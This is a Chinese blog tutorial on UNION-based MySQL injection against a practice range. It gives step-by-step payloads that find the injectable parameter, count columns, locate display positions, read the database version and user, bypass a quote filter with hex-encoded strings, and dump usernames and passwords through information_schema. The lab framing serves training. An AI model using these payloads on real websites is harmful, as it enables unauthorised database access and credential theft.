mysql联合注入

mysql注入-联合注入-靶场

一、注入流程

  1. 判断注入点
  2. 判断注入点本身所查询的字段数
  3. 确定显示位
  4. 查询数据库名,mysql版本,当前账户
  5. 查询该数据库的所有表名
  6. 查询表名所对应的所有字段名
  7. 查询字段名对应的字段值

二、靶场演示

2.1 判断注入点

  • payload:
    • ?id=1 and 1=2
    • ?id=1 and 1=1
    • 由下图我们可知,我们的代码成功的被执行,且为数字型注入
      01_mysql联合查询 - 判断注入点

2.2 判断注入点本身所查询的字段数

  • payload:
    • ?id=1 order by 5 (页面返回正常)
    • ?id=1 order by 6 (页面返回出错)
    • 由下图我们可知,当前注入点所查询的字段数为5,这就要求我们在进行联合查询时,union关键字后面的select所查询的字段数应为:5
      02_mysql联合查询 - 判断字段数

2.3 确定显示位

  • payload:
    • ?id=1 union select 1,2,3,4,5
    • 由下图我们可知,确定的显示位有:1,2,3 ,共3个
      03_mysql联合查询 - 确定显示位

2.4 查询数据库名,mysql版本,当前账户

  • payload:
    • ?id=1 union select database(),version(),user(),4,5
    • sql语句解释:
      • database(),version(),user(),均为mysql的内置函数,分别用于返回“当前查询语句所查询的数据库名”,“mysql数据库的版本”,“当前登录mysql数据库的用户”
    • 由下图可知:
      • 当前数据库为:hackyl
      • 当前mysql数据库的版本为:5.0.51b-community-nt-log
      • mysql当前用户为:root@localhost
        04_mysql联合查询 - 查询数据库名,mysql版本,当前账户

2.5 查询该数据库的所有表名

  • payload:
    • ?id=1 union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema='hackyl'
    • 由下图可以得知,我们payload中的额单引号被过滤了,导致sql语句执行失败。
      05_mysql联合查询 - 查询该数据库的所有表名
  • 绕过单引号的payload:
    • ?id=1 union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=0x6861636B796C
    • 这里我们将“hackyl”字符串转化为了十六进制,就不需要加单引号了,但是该语句仍然可以让mysql数据库进行执行。
    • 由页面返回的结果可以看到,当前hackyl数据库拥有liuyan和user两种表,显然user表是我们所需要的。
      06_mysql联合查询 - 绕过单引号

2.6 查询表名所对应的所有字段名

  • payload:
    • ?id=1 union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_name=0x75736572
    • 后面的 0x75736572 为“user”字符串的十六进制形式
    • 由页面的返回结果可知,其中的“username”字段和“password”字段正是我们所需要的。
      07_mysql联合查询 - 爆字段名

2.7 查询字段名对应的字段值

  • payload:
    • ?id=1 union select group_concat(username),group_concat(password),3,4,5 from hackyl.user
    • 由页面返回结果可以看出,user表中有三组账号密码,分别为:
      • hackyl/hacky,hacky2/hacky,hacky3/hacky
        08_mysql联合查询 - 爆字段值
posted @ 2022-01-17 19:51  浅易深  阅读(277)  评论(0编辑  收藏  举报